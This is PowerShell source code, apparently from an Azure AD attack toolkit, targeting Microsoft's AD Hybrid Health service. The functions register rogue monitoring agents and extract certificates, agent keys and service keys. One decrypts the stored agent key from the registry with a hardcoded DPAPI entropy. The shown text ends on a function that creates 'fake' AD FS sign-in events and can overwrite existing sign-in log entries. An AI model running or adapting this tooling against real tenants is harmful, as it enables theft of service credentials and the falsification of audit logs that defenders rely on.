$hmac = [System.Security.Cryptography.HMACSHA512]::new($cKey)
|
||||
|
||||
# Get elements needed for the signature
|
||||
$BlobUrl = $BlobUrl.Split("?")[0]
|
||||
$signingTime = Get-Date
|
||||
$dateString = $signingTime.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)
|
||||
|
||||
# Form the string to be signed and calculate the signature.
|
||||
$stringToSign="$tenantId,$serviceId,$machineId,Adfs-UsageMetrics,$BlobUrl,$dateString"
|
||||
$HMACSignature = Convert-ByteArrayToB64 -Bytes $hmac.ComputeHash([text.encoding]::Unicode.GetBytes($stringToSign))
|
||||
|
||||
# Send the signature to Azure via service bus
|
||||
Send-ADFSServiceBusMessage -EventHubPublisherKey $EventPublisherKey -BlobAbsoluteUri $BlobUrl -TenantId $TenantId -MachineId $MachineId -ServiceId $ServiceId -SigningTime $signingTime -HMACSignature $HMACSignature
|
||||
}
|
||||
}
|
||||
|
||||
# Registers a new HybridHealthServiceAgent
|
||||
# Jun 7th 2021
|
||||
function Register-HybridHealthServiceAgent
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Registers a new ADHybridHealthService agent to the given service.
|
||||
|
||||
.DESCRIPTION
|
||||
Registers a new ADHybridHealthService agent to the given service.
|
||||
Saves the agent info and client certificates to the current directory.
|
||||
Files are named: <ServiceName>_<TenantId>_<ServiceMemberId>_<MachineName>.xxx where xxx is json for Agent info and pfx for the certificate.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
|
||||
|
||||
PS C:\>Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
|
||||
|
||||
serviceName
|
||||
-----------
|
||||
AdFederationService-sts.company.com
|
||||
AdFederationService-sts.contoso.com
|
||||
|
||||
PS C:\>Register-AADIntHybridHealthServiceAgent -ServiceName "AdFederationService-sts.company.com" -MachineName "SERVER2" -MachineRole AdfsProxy_2016
|
||||
|
||||
Agent info saved to "AdFederationService-sts.company.com_0a959715-0d39-4409-bcc9-2c6ff5aa7a37_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER2.json"
|
||||
Client sertificate saved to "AdFederationService-sts.company.com_0a959715-0d39-4409-bcc9-2c6ff5aa7a37_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER2.pfx"
|
||||
#>
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServiceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("AdfsServer_2x","AdfsProxy_2x","AdfsServer_21","AdfsProxy_21","AdfsServer_30","AdfsProxy_30","AdfsServer_2016","AdfsProxy_2016")]
|
||||
[String]$MachineRole="AdfsServer_2016",
|
||||
[ValidateSet("Healthy","NotMonitored")]
|
||||
[String]$Status = "Healthy"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Generate machine id
|
||||
$MachineId = New-Guid
|
||||
|
||||
# Extract the tenant id from the
|
||||
[guid]$TenantId = (Read-Accesstoken -AccessToken $AccessToken).tid
|
||||
|
||||
# Add new service member
|
||||
$serviceMember = New-HybridHealthServiceMember -AccessToken $AccessToken -ServiceName $ServiceName -MachineId $MachineId -MachineName $MachineName -MachineRole $MachineRole
|
||||
Write-Verbose "Added new service member:"
|
||||
Write-Verbose $serviceMember
|
||||
|
||||
# Get the agent credentials
|
||||
$agentCredentials = Get-HybridHealthServiceMemberCredentials -AccessToken $AccessToken -ServiceName $ServiceName -ServiceMemberId $serviceMember.serviceMemberId
|
||||
$tenantCertificate = $agentCredentials.'tenant.cert'
|
||||
Write-Verbose "Received a new tenant certificate: $($tenantCertificate.Subject)"
|
||||
Write-Verbose "AgentKey: $($agentCredentials.AgentKey)"
|
||||
|
||||
# Invoke the request to get the client certificate
|
||||
Write-Verbose "Registering the agent using tenant certificate."
|
||||
[xml]$response = Invoke-RestMethod -UseBasicParsing -Uri "https://policykeyservice.dc.ad.msft.net/clientregistrationmanager.svc/ClientRegistration/$($TenantId.toString())/$MachineName/$($MachineId.toString())" -Certificate $TenantCertificate
|
||||
|
||||
# Strip CRLF and convert to byte array
|
||||
$bCert = Convert-B64ToByteArray -B64 $response.AgentSetupConfiguration.ClientCertificate.Replace("`r`n","")
|
||||
$agentCert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$bCert)
|
||||
Write-Verbose "Received a new agent certificate: $($agentCert.Subject)"
|
||||
|
||||
$agentInfo=[ordered]@{
|
||||
"AgentKey" = $agentCredentials.AgentKey
|
||||
"TenantId" = $TenantId
|
||||
"ServiceId" = $serviceMember.serviceId
|
||||
"ServiceMemberId" = $serviceMember.serviceMemberId
|
||||
"MachineId" = $MachineId
|
||||
"Server" = $MachineName
|
||||
}
|
||||
|
||||
# Save agent info and certificates to disk
|
||||
$fileName = "$($ServiceName)_$($TenantId.toString())_$($MachineId.toString())_$MachineName"
|
||||
Set-BinaryContent -Path "$fileName.pfx" -Value $bCert
|
||||
$agentInfo | ConvertTo-Json | Set-Content "$fileName.json" -Encoding UTF8
|
||||
|
||||
Write-Host "Agent info saved to ""$fileName.json"""
|
||||
Write-Host "Client sertificate saved to ""$fileName.pfx"""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,867 @@
|
||||
# Gets ADHybridHealthService member credentials
|
||||
# May 26th 2021
|
||||
function Get-HybridHealthServiceMemberCredentials
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService member credentials
|
||||
|
||||
.DESCRIPTION
|
||||
Creates and returns new ADHybridHealthService member credentials
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService members.
|
||||
|
||||
.Parameter ServiceName
|
||||
Name of the ADHybridHealthService
|
||||
|
||||
.Parameter ServiceMemberId
|
||||
Guid of the service member.
|
||||
|
||||
.Example
|
||||
Get-AADIntHybridHealthServiceMemberCredentials -ServiceName AdFederationService-sts.company.com -MemberId 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
|
||||
|
||||
lastReboot : 2021-03-16T08:17:19.0912Z
|
||||
lastDisabled :
|
||||
lastUpdated : 2021-05-06T06:04:20.6537234Z
|
||||
activeAlerts : 2
|
||||
resolvedAlerts : 1
|
||||
createdDate : 0001-01-01T00:00:00
|
||||
disabled : False
|
||||
dimensions :
|
||||
additionalInformation :
|
||||
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
|
||||
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
|
||||
serviceMemberId : bec07a23-dd4a-4c80-8c92-9b9dc089f75c
|
||||
machineId : 0cf2774f-a188-4bd3-b4b3-3a690374325d
|
||||
machineName : STS01
|
||||
role : AdfsServer_2016
|
||||
status : Error
|
||||
properties :
|
||||
installedQfes :
|
||||
recommendedQfes :
|
||||
monitoringConfigurationsComputed :
|
||||
monitoringConfigurationsCustomized :
|
||||
osVersion : 10.0.17763.0
|
||||
osName : Microsoft Windows Server 2019 Standard
|
||||
disabledReason : 0
|
||||
serverReportedMonitoringLevel :
|
||||
lastServerReportedMonitoringLevelChange :
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServiceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$ServiceMemberId
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers/$($ServiceMemberId.toString())/credentials?api-version=2014-01-01" -Headers $headers
|
||||
|
||||
# Return credentials
|
||||
$creds = [ordered]@{}
|
||||
foreach($cred in $response)
|
||||
{
|
||||
# Decode the certificate
|
||||
if($cred.identifier -eq "tenant.cert")
|
||||
{
|
||||
$bCert = Convert-B64ToByteArray -B64 $cred.credentialData
|
||||
|
||||
# Strip the header if exists
|
||||
if($bcert[0] -eq 0x01)
|
||||
{
|
||||
# First 4 bytes = format
|
||||
# Next 4 bytes = length of the string like "policykeyservice.dc.ad.msft.net"
|
||||
# Total header length = 4 + 4 + length
|
||||
$length = [bitconverter]::ToInt32($bCert[4..7],0)
|
||||
$bCert = $bCert[(4+4+$length)..($bcert.length)]
|
||||
}
|
||||
|
||||
$creds[$cred.identifier] = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$bCert)
|
||||
}
|
||||
else
|
||||
{
|
||||
$creds[$cred.identifier] = $cred.credentialData
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
return New-Object psobject -Property $creds
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets ADHybridHealthService access token
|
||||
# May 26th 2021
|
||||
function Get-HybridHealthServiceAccessToken
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService access token
|
||||
|
||||
.DESCRIPTION
|
||||
Returns ADHybridHealthService access token
|
||||
|
||||
.Parameter AgentKey
|
||||
AgentKey of the ADHybridHealthService agent
|
||||
|
||||
.Parameter MachineID
|
||||
MachineID of the computer running the ADHybridHealthService agent
|
||||
|
||||
.Parameter TenantID
|
||||
Tenant ID.
|
||||
|
||||
.Example
|
||||
$at = Get-AADIntHybridHealthServiceAccessToken -AgentKey $agentKey -TenantId $tenantId -MachineId $machineId
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AgentKey,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$MachineId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$TenantId
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Build a body
|
||||
$body=@{
|
||||
"grant_type" = "client_credentials"
|
||||
"client_secret" = $AgentKey
|
||||
"client_id" = "$($TenantId.ToString())_$($MachineId.ToString())"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://s1.adhybridhealth.azure.com/oauth2/token" -Body $body
|
||||
|
||||
return $response.access_token
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets ADHybridHealthService Blob upload key
|
||||
# May 26th 2021
|
||||
function Get-HybridHealthServiceBlobUploadKey
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService blob upload key
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthService blob upload key. The key is an url used to upload events to Azure blob. Url contains pre-calcuated SAS token.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService blob upload key.
|
||||
|
||||
.Parameter ServiceID
|
||||
ServiceID
|
||||
|
||||
.Example
|
||||
Get-HybridHealthServiceBlobUploadKey -AccessToken $at -ServiceId $serviceId
|
||||
|
||||
https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-8c11e4fb-299c-42c0-b79a-555c33964b58?sv=2018-03-28&sr=c&sig=pZ056YDtl8iK9PjiNoQED6tLHd3h0EkwDlHY%2Bxf8Znc%3D&se=2021-05-24T06%3A32%3A18Z&sp=w
|
||||
|
||||
.Example
|
||||
$blobKey = Get-AADIntHybridHealthServiceBlobUploadKey -AccessToken $at -ServiceId $serviceId
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$ServiceId
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/$($ServiceId.ToString())/keys/BlobUploadKey" -Headers $headers
|
||||
|
||||
# Return upload key
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets ADHybridHealthService event hub publisher key
|
||||
# May 29th 2021
|
||||
function Get-HybridHealthServiceEventHubPublisherKey
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService event hub publisher key
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthService event hub publisher key. The key includes Service Bus endpoint and SharedAccessSignature.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService event hub publisher key.
|
||||
|
||||
.Parameter ServiceID
|
||||
ServiceID
|
||||
|
||||
.Example
|
||||
Get-AADIntHybridHealthServiceEventHubPublisherKey -AccessToken $at -ServiceId $serviceId
|
||||
|
||||
Endpoint=sb://adhsprodweuehadfsia.servicebus.windows.net/;SharedAccessSignature=SharedAccessSignature sr=sb%3a%2f%2fadhsprodweuehadfsia.servicebus.windows.net%2fadhsprodweuehadfsia%2fPublishers%2f8c77dad6-9932-4bfe-bf9e-58734ccb3e2c&sig=XRKxI%2bR7LEe4pBxe4OZt86dzFxIvSsyqs0UPmlO3hFM%3d&se=1622788339&skn=RootManageSharedAccessKey;EntityPath=adhsprodweuehadfsia;Publisher=8c77dad6-9932-4bfe-bf9e-58734ccb3e2c
|
||||
|
||||
.Example
|
||||
$eventKey = Get-AADIntHybridHealthServiceEventHubPublisherKey -AccessToken $at -ServiceId $serviceId
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$ServiceId
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/$($ServiceId.ToString())/keys/EventHubPublisherKey" -Headers $headers
|
||||
|
||||
# Return upload key
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Send the signature to Azure using service bus
|
||||
# May 26th 2021
|
||||
function Send-ADFSServiceBusMessage
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$EventHubPublisherKey,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$BlobAbsoluteUri,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$MachineId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$TenantId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$ServiceId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[datetime]$SigningTime,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$HMACSignature
|
||||
)
|
||||
Try
|
||||
{
|
||||
# Define some needed variables
|
||||
$keyParts = $EventHubPublisherKey.Split(";")
|
||||
$endpoint = $keyParts[0].Substring($keyParts[0].IndexOf("=")+1).Replace("sb:","wss:")
|
||||
$url = "$endPoint$`servicebus/websocket"
|
||||
|
||||
$SAS = $keyParts[1].Substring($keyParts[1].IndexOf("=")+1)
|
||||
$entityPath = $keyParts[2].Substring($keyParts[2].IndexOf("=")+1)
|
||||
$publisher = $keyParts[3].Substring($keyParts[3].IndexOf("=")+1)
|
||||
$SASName = "$($endpoint.Replace("wss:","amqp:"))$entitypath/Publishers/$publisher"
|
||||
|
||||
# Define headers for the first request
|
||||
$headers = @{
|
||||
"Connection" = "Upgrade"
|
||||
"Upgrade" = "websocket"
|
||||
"Sec-WebSocket-Key" = [convert]::ToBase64String((New-Guid).ToByteArray())
|
||||
"Sec-WebSocket-Version" = "13"
|
||||
"Sec-WebSocket-Protocol" = "AMQPWSB10"
|
||||
"User-Agent" = ""
|
||||
}
|
||||
|
||||
# Create the socket
|
||||
$socket = New-Object System.Net.WebSockets.ClientWebSocket
|
||||
|
||||
# Add AMQPWSB10 as sub protocol
|
||||
$socket.Options.AddSubProtocol("AMQPWSB10")
|
||||
|
||||
# Create the token and open the connection
|
||||
$token = New-Object System.Threading.CancellationToken
|
||||
|
||||
Write-Verbose "Opening websocket: $url"
|
||||
|
||||
$connection = $socket.ConnectAsync($url, $token)
|
||||
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 }
|
||||
|
||||
if($connection.IsFaulted -eq "True")
|
||||
{
|
||||
Write-Error $connection.Exception
|
||||
return
|
||||
}
|
||||
|
||||
# Send the first AMQP message
|
||||
SendToSocket -Socket $socket -Token $token -Bytes @(
|
||||
0x41, 0x4D, 0X51, 0X50, # AMQP
|
||||
0x03, # Protocol = SASL
|
||||
0x01, # Major
|
||||
0x00, # Minor
|
||||
0x00)
|
||||
|
||||
# Receive response for the first AMQP message
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Receive SASL mechanism
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Send SASL Init (external)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-SASLInit)
|
||||
|
||||
# Receive Welcome!
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Send AMQP init
|
||||
SendToSocket -Socket $socket -Token $token -Bytes @(
|
||||
0x41, 0x4D, 0X51, 0X50, # AMQP
|
||||
0x00, # Protocol
|
||||
0x01, # Major
|
||||
0x00, # Minor
|
||||
0x00) # Revision
|
||||
|
||||
# Receive AMQP init response
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Send AMQP Open
|
||||
$id = Convert-ByteArrayToHex (Get-RandomBytes -Bytes 16)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPOpen -ContainerId $id -HostName ($endpoint.Split("/")[2]))
|
||||
|
||||
# Receive AMQP Open response
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Send AMQP Begin
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPBegin)
|
||||
|
||||
# Receive AMQP Begin response
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Generate the name for Attach message
|
||||
$targetNumber = Get-Random -Minimum 1000 -Maximum 65000
|
||||
$name = "duplex$($targetNumber):$($targetNumber+2):$($targetNumber+3):"
|
||||
$source = '$cbs'
|
||||
|
||||
# Send AMQP Attach (out)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS -Handle 0 -Direction out -Name "$($name)sender" -Target $source)
|
||||
|
||||
# Receive AMQP Attach (out)
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 250)
|
||||
|
||||
# Receive AMQP Flow
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
|
||||
|
||||
# Send AMQP Attach (in)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS -Handle 1 -Direction in -Name "$($name)receiver" -Target $id -Source $source)
|
||||
|
||||
# Receive AMQP Attach (in)
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 250)
|
||||
|
||||
# Send AMQP Flow
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPFlow)
|
||||
|
||||
# Send SAS key
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPTransferADFSSAS -Name $SASName -Handle 0 -Id $id -SharedAccessSignature $SAS)
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 1000)
|
||||
|
||||
# Send another attach for the insights
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS2 -Handle 2 -Name "$((New-Guid).ToString().replace('-',''));$($targetNumber):$($targetNumber+1):$($targetNumber+6)" -Target "$entitypath/Publishers/$publisher")
|
||||
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 1000)
|
||||
|
||||
# Send the Insights message signature
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPTransferADFSInsights -Handle 2 -TenantId $TenantId -MachineId $MachineId -ServiceId $ServiceId -BlobUri $BlobAbsoluteUri -SigningTime $SigningTime -HmacSignature "$HMACSignature")
|
||||
|
||||
# Close the channels
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 0)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 1)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 2)
|
||||
|
||||
# Close the bus
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPEnd)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPClose)
|
||||
|
||||
|
||||
}Finally{
|
||||
|
||||
If ($socket) {
|
||||
Write-Verbose "Closing websocket"
|
||||
$socket.Dispose()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets ADHybridHealthService agent information from the local computer
|
||||
# May 26th 2021
|
||||
function Get-HybridHealthServiceAgentInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService agent information from the local computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthService agent information from the local computer.
|
||||
|
||||
.Parameter Service
|
||||
Which service's agent information to return. Can be one of "ADFS" or "Sync". Defaults to ADFS.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntHybridHealthServiceAgentInfo
|
||||
|
||||
AgentKey : 6Fk9SiL[redacted]Hw==
|
||||
TenantId : 5d898b21-4478-4ee0-a2be-ad4dfb540b09
|
||||
ServiceId : 59f626ab-92cd-4658-b12f-12a604f5f1c2
|
||||
ServiceMemberId : 0bfc0715-1ed2-44c7-89ec-bf7842cc4575
|
||||
ClientId : 0d88eaa8-08a4-4b2c-b5ce-49a9ea02d1d7
|
||||
MachineId : 279a0323-4647-494c-ac3a-fc13545f3c33
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[ValidateSet("ADFS","Sync")]
|
||||
[String]$Service="ADFS"
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# Add the required assembly and entropy
|
||||
Add-Type -AssemblyName System.Security
|
||||
$entropy = [text.encoding]::Unicode.getBytes("ra4k1Q0qHdYSZfqGxgnFB3c6Z025w4IU")
|
||||
}
|
||||
Process
|
||||
{
|
||||
$attributes = [ordered]@{}
|
||||
try
|
||||
{
|
||||
# Decrypt the agent key
|
||||
$encAgentKey = Convert-B64ToByteArray -B64 (Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "AgentKey")
|
||||
$attributes["AgentKey"] = Convert-ByteArrayToB64 -Bytes ([Security.Cryptography.ProtectedData]::Unprotect([byte[]]$encAgentKey, $entropy, 'CurrentUser'))
|
||||
|
||||
# Get other relevant agent information
|
||||
$attributes["TenantId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "TenantId"
|
||||
$attributes["ServiceId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceId"
|
||||
$attributes["ServiceMemberId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceMemberId"
|
||||
$attributes["ClientId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ClientId"
|
||||
$attributes["MachineId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent" -Name "MachineIdentity"
|
||||
$attributes["Server"] = $env:COMPUTERNAME
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "Must be run as Local Administrator and on the computer where the agent is installed!`nGot error: $($_.Exception.Message)"
|
||||
}
|
||||
|
||||
# Return
|
||||
New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Create a fake hybrid health service event
|
||||
# May 26th 2021
|
||||
function New-HybridHealtServiceEvent
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a new ADHybridHealthService event.
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a new ADHybridHealthService event with the given parameters.
|
||||
|
||||
.Parameter UniqueID
|
||||
Unique ID of the event. Provide existing Request ID from the sign-in log to overwrite.
|
||||
|
||||
.Parameter Server
|
||||
Server name of the AD FS server.
|
||||
|
||||
.Parameter EventType
|
||||
Event type. Can be one of "NotSet","AppToken","FreshCredential","System","Discovery","Signout","PwdChange","DeviceReg","Resource","Config","ExtranetLockout".
|
||||
Defaults to AppToken.
|
||||
|
||||
.Parameter PrimaryAuthentication
|
||||
The list of authentication methods. Can be a combination of "NotSet","Forms","Windows","Certificate","Device","Multifactor","Sso","Federated"
|
||||
Seems to always require "Sso". Defaults to "Forms","Sso"
|
||||
|
||||
.Parameter RequiredAuthType
|
||||
Requires authentication type. Can be one of "NotSet","Primary","Secondary".
|
||||
Defaults to Primary
|
||||
|
||||
.Parameter RelayingParty
|
||||
Relaying party. Defaults to "urn:federation:MicrosoftOnline"
|
||||
|
||||
.Parameter RelyingPartyName
|
||||
Display Name of the relaying party.
|
||||
|
||||
.Parameter Result
|
||||
Was the authentication successful or not. Defaults to $True
|
||||
|
||||
.Parameter DeviceAuthentication
|
||||
Was device authentication used or not. Defaults to $False
|
||||
|
||||
.Parameter URL
|
||||
Url. Defaults to "/adfs/ls"
|
||||
|
||||
.Parameter User
|
||||
Some user id number. Defaults to 666
|
||||
|
||||
.Parameter UserId
|
||||
User Id. Defaults to empty.
|
||||
|
||||
.Parameter UserIdType
|
||||
User Id type. Can be one of "AnchorID","UPN","WindowsAccountName","PrimarySID","NameID","Email","Name","NotSet"
|
||||
Defaults to AnchorID
|
||||
|
||||
.Parameter UPN
|
||||
User Principal Name of the user.
|
||||
|
||||
.Parameter Timestamp
|
||||
Login time. Defaults to current time.
|
||||
|
||||
.Parameter Protocol
|
||||
Authentication protocol used. Can be one of "NotSet","WSFederation","WSFedSamlP","OAuth","SAMLP","WSTrust","MSAdfsPIP","MSISHTTP"
|
||||
Defaults to WSFederation. If OAuth is used, the client id can be provided.
|
||||
|
||||
.Parameter NetworkLocationType
|
||||
Network type, can be one of "NotSet","Intranet","Extranet"
|
||||
Defaults to Intranet. If Extranet is used, Azure AD shows geo location.
|
||||
|
||||
.Parameter AppTokenFailureType
|
||||
Reason for login failure. Can be one of "NotAFailure","UPError","LockoutError","ExpiredPassword","DisabledAccount","DeviceAuthError","UserCertAuthError","IssuanceAuthZError","MFAError","ExtranetLockoutError","LogoutError","CredentialValidationError","OtherCredentialError","IssuanceDelegationError","TokenAcceptanceError","ProtocolError","WsFedRequestFailure","InvalidRelyingPartyError","InvalidClientApplicationError","GenericError","OtherError"
|
||||
Defaults to NotAFailure
|
||||
|
||||
.Parameter IPAddress
|
||||
Ip address of the user.
|
||||
|
||||
.Parameter ClaimsProvider
|
||||
Claims provider.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter OAuthClientID
|
||||
Client ID used in OAuth login.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter OAuthTokenRetrievalMethod
|
||||
OAuth token retrieval method.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter MFA
|
||||
MFA provider used to perform MFA.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter MFAProviderErrorCode
|
||||
Error code provided by the MFA provider.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter .ProxyServer
|
||||
Proxy server.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter Endpoint
|
||||
AD FS endpoint.
|
||||
Defaults to "/adfs/ls/"
|
||||
|
||||
.Parameter UserAgent
|
||||
UserAgent.
|
||||
Defaults to "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
|
||||
|
||||
.Parameter DeviceID
|
||||
Device ID used during the login. Can be any device from Azure AD.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter ErrorHitCount
|
||||
Number of login errors.
|
||||
Defaults to 0.
|
||||
|
||||
.Parameter X509CertificateType
|
||||
Type of X509 Certificate.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter $MFAAuthenticationType
|
||||
MFA authentication type.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter ActivityId
|
||||
Activity Id of the event.
|
||||
Defaults to random guid.
|
||||
|
||||
.Parameter ActivityIdAutoGenerated
|
||||
Is Activity Id automatically generated or not. Defaults to $False
|
||||
|
||||
